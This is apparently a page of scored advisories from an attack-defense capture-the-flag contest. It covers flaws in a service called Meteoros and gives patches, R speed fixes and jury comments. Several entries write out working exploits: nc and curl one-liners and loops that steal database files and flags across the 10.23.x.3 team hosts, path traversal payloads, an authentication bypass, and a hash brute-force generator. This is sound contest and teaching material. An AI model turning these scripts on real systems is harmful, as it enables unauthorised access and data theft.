|
Meteoros Advisories
Service: | Meteoros |
---|
Text: | The "add" part of the server listening on port 3300 uses the two variables starttime and startTime. starttime is user input - using it we can link any file into the public folder, e.g.
add
../db.sqlite
The server then returns the appropiate link.
Fix: change starttime to startTime in l95 |
---|
Jury comment: | OK. I will wait exploit again)) |
---|
Score: | 2/3 points |
---|
Service: | Meteoros |
---|
Text: | (echo "add"; sleep 1; echo "../db.sqlite"; sleep 2) | nc -w 1 10.23.X.3 3300 | grep -oE "http://IP:8000/public/\w+\.\w+"
returns the right link. now do sed "s#IP#...#g" and download the file |
---|
Jury comment: | Ok |
---|
Score: | 1/3 point |
---|
Service: | Meteoros |
---|
Text: | The password check for command "view" is not effective. You can fix the service with the following patch:
--- MeteorosMeteoServer.py.old 2011-11-19 12:43:44.000000000 -0500
+++ MeteorosMeteoServer.py 2011-11-19 11:19:23.000000000 -0500
@@ -142,6 +142,7 @@
secret = self.readline()
if not Auth.checkSecret(secret):
self.request.send("Invalid secret! :-(\n")
+ continue
self.request.send("Enter time:\n")
viewTime = int(self.readline())
In this way, even if the the password has been changed, an attacker can still use the command "view".
Example:
0 $ nc 10.23.X.3 3300
Hi! This is a Meteoros server. For viewing meteodata use port 8000.
Enter command:
view
Enter our super-secret:
foo
Invalid secret! :-(
Enter time:
... |
---|
Jury comment: | Yep |
---|
Score: | 2/2 points |
---|
Service: | Meteoros |
---|
Text: | Aithorization Error. Can read data from db without authorization
Patch:
if not Auth.checkSecret(secret):
self.request.send("Invalid secret! :-(\n")
else:
self.request.send("Enter time:\n")
viewTime = int(self.readline())
data = db.getInterval(viewTime, viewTime)
for row in data:
self.request.send(str(row[2]) + " " + str(row[3]) + " " + str(row[5]) + "\n") |
---|
Jury comment: | Yes, but very late |
---|
Score: | 0/2 points |
---|
Service: | Meteoros |
---|
Text: | **Bug in command "view"
**Only message will be written if your secret is wrong; No action comes.
**That's why we can put time and receive flag in str(row[5]).
if command == "view":
self.request.send("Enter our super-secret:\n")
secret = self.readline()
if not Auth.checkSecret(secret):
(145) self.request.send("Invalid secret! :-(\n")
##Fix:(146) return
self.request.send("Enter time:\n")
viewTime = int(self.readline())
data = db.getInterval(viewTime, viewTime)
for row in data:
self.request.send(str(row[2]) + " " + str(row[3]) + " " + str(row[5]) + "\n")
|
---|
Jury comment: | Very late, see opened advisories |
---|
Score: | 0/2 points |
---|
Service: | Meteoros |
---|
Text: | the "public" command lacks proper input validation. You can access any file via
curl http://xx:8000/public/..%2Fmyfile
In l31 of HTTPHandlers.py, insert
name = name.split("/")[-1]
|
---|
Jury comment: | Yes, of course! But I want a concrete exploit. |
---|
Score: | 1/2 point |
---|
Service: | Meteoros |
---|
Text: | expl for previous advisory.
for i in seq 10 99; do echo $i; curl --connect-timeout 1 -m 10 http://10.23.$i.3:8000/public/..%2Fdb.sqlite | strings | grep -oE
"\w{31}="|uniq>>flags.txt; done |
---|
Jury comment: | Ok, and full score at this advisory. |
---|
Score: | 1/2 point |
---|
Service: | Meteoros |
---|
Text: | Directory Traversal in HTTPHandlers.py line 31
http://10.23.x.3:8000/public/..%2FSECRET |
---|
Jury comment: | Yes, but very late |
---|
Score: | 0/2 points |
---|
Service: | Meteoros |
---|
Text: | the central "forecast.R" file is written horribly. some improvements include:
- allocating the entire vector beforehand instead of creating a new object every loop: "means <- rep(0,len)" instead of "means <- c()"
- avoiding useless calculations: means(x)*2 - sum(x)/n is the same as means(x). even better, use a vectorized function for rolling windows
- using the function diff() instead of calculating delta yourself
- avoid unnecessary loops such as the second by vectorization: w <- 1/1:(l-1) etc.
- avoid more unnecessary loops: "for (i in 1:300) x[1] <- x[1] + k" is the same as x[1] + 300*k |
---|
Jury comment: | Yes, but i want another one yet)) |
---|
Score: | 3/4 points |
---|
Service: | Meteoros |
---|
Text: | A way to optimize forecast.R (replace text in forecast.R)
len <- length(x)
means <- c()
for (idx in 1 : (len - n + 1))
{
#means[idx] <- mean(x[idx : (idx + n - 1)]) * 2 - sum(x[idx : (idx + n - 1)])$
means[idx] <- sum(x[idx : (idx + n - 1)]) / n
}
#delta <- means[2 : length(means)] - means[1 : (length(means) - 1)]
delta <- c()
for (idx in 1 : len - n)
{
delta[idx] <- (x[idx+n]-x[idx])/n
}
w <- c()
for (idx in 1 : (len - n))
{
j <- len - n - idx + 1
w[j] = (1 / j) / log(2)
if (j %% 2 == 0)
{
w[j] = (-1)*w[j]
}
}
for (idx in (len + 1) : (len + 100))
{
deltanew <- sum(w * delta)
meansnew <- means[len - n + 1] + deltanew
# for next 5 minutes
#for (i in 1 : 300)
means[1] <- means[1] + sum(means[2 : length(means)] * delta) + deltanew
xnew <- meansnew * n - sum(x[(length(x) - n + 2) : length(x)])
x[idx] <- xnew
means <- c(means[2 : length(means)], meansnew)
delta <- c(delta[2 : length(delta)], deltanew)
}
x
|
---|
Jury comment: | All was already... But there is one optimize not pubilshed. |
---|
Score: | 0/4 points |
---|
Service: | Meteoros |
---|
Text: | Replace text in forecast.R
len = length(x)
delta = c()
for (idx in 1 : len - n)
{
delta[idx] = (x[idx+n]-x[idx])/n
}
w = c()
for (idx in 1 : (len - n))
{
j = len - n - idx + 1
w[j] = (1 / j) / log(2)
if (j %% 2 == 0)
{
w[j] = (-1)*w[j]
}
}
meansnew = sum(x[(len-n+1) : len]) / n
for (idx in (len + 1) : (len + 100))
{
deltanew = sum(w * delta)
meansnew = meansnew + deltanew
x[idx] = meansnew * n - sum(x[(len - n + 2) : len])
len = len + 1
delta = c(delta[2 : length(delta)], deltanew)
}
x
|
---|
Jury comment: | Yyess! |
---|
Score: | 1/4 point |
---|
Service: | Meteoros |
---|
Text: | the first loop in forecast.R can be totally avoided using the C-implemented cumsum(), the shift operator and mean(x)=sum(x)/n. This saves multiple calculations of sums in the rolling window.
|
---|
Jury comment: | Very late |
---|
Score: | 0/4 points |
---|
Service: | Meteoros |
---|
Text: | Forecast algorith speedup:
problem is in calculateing mean[0] at line
for (i in 1 : 300)
means[1] <- means[1] + sum(means[2 : length(means)] * delta) + sum(w * delta)
one possible fix is to replace it with::
means[1] <- means[1] + 300*(sum(means[2 : length(means)] * delta) + sum(w * delta))
|
---|
Jury comment: | No, it is not awesome. and see meteoros update |
---|
Score: | 0/4 points |
---|
Service: | Meteoros |
---|
Text: | Better forecast.R:
means <- c()
means[1] <- mean(x[1 : n])
for (idx in 2 : (length(x) - n + 1))
{
means[idx] <- means[idx-1]-x[idx-1]/n+x[idx+n-1]/n
} #not necessary to calculate the mean every time because only 2 values change
delta <- means[2 : length(means)] - means[1 : (length(means) - 1)]
w <- c()
lengthx<-length(x)
for (idx in 1 : (lengthx - n))
{
j <- lengthx - n - idx + 1
w[j] = (-1) ^ (j - 1) / j / log(2)
}
#w <- w / log(2)
sumx<-sum(x[(lengthx-n+1):(lengthx-1)])
for (idx in (lengthx + 1) : (lengthx + 100))
{
deltanew <- sum(w * delta)
meansnew <- means[length(means)] + deltanew
sumx<- sumx-x[length(x)-n+1]+x[length(x)] #not necessary to calculate the sum everytime, because only the first and last entry change
xnew <- meansnew * n - sumx
x[idx] <- xnew
means <- c(means[2 : length(means)], meansnew)
delta <- c(delta[2 : length(delta)], deltanew)
}
x
|
---|
Jury comment: | Very late, is was in updates. |
---|
Score: | 0/4 points |
---|
Service: | Meteoros |
---|
Text: | Some improvement may be achieved by optimizing the sum(x[(length(x) - n + 2) : length(x)]) out of the last loop. It is possible to do this because the for loop iterates in the range length length(x)+1..length(x)+100 and sum sums in different range so it's value never changes. |
---|
Jury comment: | Very late |
---|
Score: | 0/4 points |
---|
Service: | Meteoros |
---|
Text: | Replace text in forecast.R for this
len = length(x)
delta = c()
for (idx in 1 : len - n)
{
delta[idx] = (x[idx+n]-x[idx])/n
}
w = c()
for (idx in 1 : (len - n))
{
j = len - n - idx + 1
w[j] = (1 / j)
if (j %% 2 == 0)
{
w[j] = (-1)*w[j]
}
}
for (idx in (len + 1) : (len + 100))
{
deltanew = sum(w * delta) / log(2)
x[idx] = x[idx-n]+n*deltanew
delta = c(delta[2 : (len - n)], deltanew)
}
x |
---|
Jury comment: | Very late |
---|
Score: | 0/4 points |
---|
Service: | Meteoros |
---|
Text: | An error in forecast.R causes the service to timeout.
It's possible to avoid the for cycle at l25 applying this patch:
: --- forecast/forecast.R.bak 2011-11-19 13:10:09.000000000 -0500
+++ forecast/forecast.R 2011-11-19 13:13:14.000000000 -0500
@@ -22,8 +22,9 @@
meansnew <- means[length(means)] + deltanew
# for next 5 minutes
- for (i in 1 : 300)
- means[1] <- means[1] + sum(means[2 : length(means)] * delta) + sum(w * delta)
+ #for (i in 1 : 300)
+ # means[1] <- means[1] + sum(means[2 : length(means)] * delta) + sum(w * delta)
+ means[1] <- means[1] + 300 * ( sum(means[2 : length(means)] * delta) + sum(w * delta) )
xnew <- meansnew * n - sum(x[(length(x) - n + 2) : length(x)])
x[idx] <- xnew
@@ -32,4 +33,4 @@
delta <- c(delta[2 : length(delta)], deltanew)
}
|
---|
Jury comment: | Yes, but it is not enough for break time limit. |
---|
Score: | 2/2 points |
---|
Service: | Meteoros |
---|
Text: | Advisory
* Description
You can retreive the sha1 hashed pw by sending "remind" to meteoros port 3300
if command == "remind":
self.request.send("Your hash is '" + Auth.secret() + "'\n")
* Patch
152 if command == "remind":
153 self.request.send("nope\n")
154 #self.request.send("Your hash is '" + Auth.secret() + "'\n")
Modify
* Exploit
retreive sha1 hash and find collision to gain a valid password
|
---|
Jury comment: | OK :-) |
---|
Score: | 1/1 point |
---|
Service: | Meteoros |
---|
Text: | The server has a command "remind" which returns the sha256 sum for a 8-char password. That's easy enough to brute force :-) Remove that command... |
---|
Jury comment: | Too late(( |
---|
Score: | 0/1 points |
---|
Service: | Meteoros |
---|
Text: | The passwords given out by the meteoros master server are small alphas. Therefore there are 7^24 = 191581231380566414401 for the password.
With the remind function which gives out the sha256 digest and a big hashtable (~500GB), it should be possible get privileges for the view function.
Hashtables can be generated with this rather simple python script
#!/usr/bin/python
import hashlib
chars = map(lambda x: chr(x), range(97, 123))
out = open("hfile", "w")
print chars
hl = hashlib.sha256
ow = out.write
for a in chars:
print "processing", a
for b in chars:
print "\t", b
for c in chars:
for d in chars:
for e in chars:
for f in chars:
for g in chars:
x = "%s%s%s%s%s%s%s" % (a,b,c,d,e,f,g)
ow("%s %s\n" % (x, hl(x).hexdigest()))
f.close()
After generation this can be added to a database, which supports fast lookup for the hexdigest and be a backend for a script to dump weather data.
|
---|
Jury comment: | SHA256 isn't panacea:-) But patch? |
---|
Score: | 2/3 points |
---|
Service: | Meteoros |
---|
Text: | in addition to last advisory about meteoros + sha256 rainbowtable attack: patch is to disable the remind function by replacing its output with links to catvideos from youtube |
---|
Jury comment: | It's not a patch, because we may get SECRET without remind function :( |
---|
Score: | 0/3 points |
---|
Service: | Meteoros |
---|
Text: | As already written in many other advisories, hashtable attacks against the Meteoros password are possible. Of course, a brute-force attack is possible just as well.
A simple shell-script can almost certainly spoil every possible attack on the password of Meteoros:
while true
do :
./newPassword.py
sleep 5
done
So unless someone cracks the password in less than 5 seconds, any attack against it will fail. |
---|
Jury comment: | But I want to protect from hashtable-crack, how I can do it? |
---|
Score: | 0/3 points |
---|
Service: | Meteoros |
---|
Text: | == alcapwn ==
As already written in many other advisories, hashtable attacks against the Meteoros password are possible.
If the other teams have a way of stealing your hash, there are 2 things you can do to make that hash useless.
1. Use a time-consuming hash function so that computing a rainbow table would take forever. e.g. instead of
sha256 = hashlib.sha256(data).hexdigest()
use something like
sha256 = hashlib.sha512(data).hexdigest()
for i in range(1000):
sha256 = hashlib.sha512(sha256).hexdigest()
in both Auth.py and newPassword.py
2. Change the password every second (so that rainbow table lookups which take longer will be useless)
while true
do :
./newPassword.py
sleep 1
done |
---|
Jury comment: | Yes, it is not bad solution |
---|
Score: | 1/3 point |
---|
Service: | Meteoros |
---|
Text: | Meteoros sha256 password stuff:
To patch this either the server needs to deal out better passwords or another hash function could be chosen which would have two effects: Most exploits which rely on the hash being sha256 would not work anymore without human interaction (and looking for what hash algorithm is used without having the source doe) or either, if hashalgorithm is known, use a hashalgorithm which is more complex and therefore rainbowtables are harder to build up (taking a not widely used hash algorithm would have the advantage that its realy improbable that prebuild rainbowtables already exist).
To make the hash more secure also a salt could be used to make the password / hashrange more komplex. Using e.g. "9y8nmttxwf9j" for each hash as a salt would mean that an atacker with prebuild hashtables for [a-z]{7} would not succeed. |
---|
Jury comment: | Very late |
---|
Score: | 0/3 points |
---|
Service: | Meteoros |
---|
Text: | ==Desc
Web application shows all table contents when requesting table data. Including comments (flags)
==PoC
headers={"X-Requested-With":"XMLHttpRequest"}
req=urllib2.Request('http://xx:8000/tabledata','',headers)
resp = urllib2.urlopen(req)
==Corrective action :
In HTTPHandler.py :
--- result[dTime][dType] = str(dValue) + " " + dComment
+++ result[dTime][dType] = str(dValue) |
---|
Jury comment: | Yes, but another team was first |
---|
Score: | 0/3 points |
---|
Service: | Meteoros |
---|
Text: | In HTTPHandlers.py
line 58
[dId, dTime, dType, dValue, dAuthor, dComment] = row
Actually dAuthor and dComment are swapped in database record, so dCommend contains author value.
Sending an XMLHTTPRequest to /tabledata will show author's records (include flags).
FIX:
newline 58: [dId, dTime, dType, dValue, dComment, dAuthor] = row
Exploit:
wget http://$ip:8000/tabledata --header='X-Requested-With: XMLHttpRequest' |
---|
Jury comment: | Late.. |
---|
Score: | 0/3 points |
---|
Service: | Meteoros |
---|
Text: | in the HTTPHandlers exists a Handler named MeteorosHTTPTableDataHandler, which allows to grab flags if one adds the XML-blah header (look below). From there we can get flags. A download will give you much data so limiting this is a good idea. It will only give you one flag per request. Just visit some minutes later to get a new flag.
You can retrieve the flags with curl:
curl -r 0-10240 --connect-timeout 180 -X GET http://10.23.$IP.3:8000/tabledata -H "X-Requested-With: XMLHttpRequest" -s | egrep "\w{31}=" -o|sort -u |
---|
Jury comment: | Very late |
---|
Score: | 0/3 points |
---|
Service: | Meteoros |
---|
Text: | ------------------------------ [[ FluxFingers ]] ------------------------------
--[ Description ]--------------------------------------------------------------
Meteoros leaks the flags in a table which can be recieved with a special
crafted request. Vulnerable code (line 61):
result[dTime][dType] = str(dValue) + " " + dComment
dComment is the flag. To get to this Code an attacker has to bypass following
restriction (lines 49-51):
requestWith = resource.getHeader('X-Requested-With')
if requestWith != "XMLHttpRequest":
return ""
--[ Patch ]--------------------------------------------------------------------
Just do not leak the flag in line 61:
result[dTime][dType] = str(dValue)
--[ Exploit ]------------------------------------------------------------------
#!/usr/bin/python
import sys, re
from urllib2 import *
ip = sys.argv[1]
request = Request('http://%s:8000/tabledata' % ip)
request.add_header('X-Requested-With', 'XMLHttpRequest')
content = build_opener().open(request).read()
flags = []
for m in re.finditer(r'\w{31}=', content, re.DOTALL):
# bake pretty cakes with your flags
# ... |
---|
Jury comment: | Yes, /tabledata is wrong |
---|
Score: | 3/3 points |
---|
|
|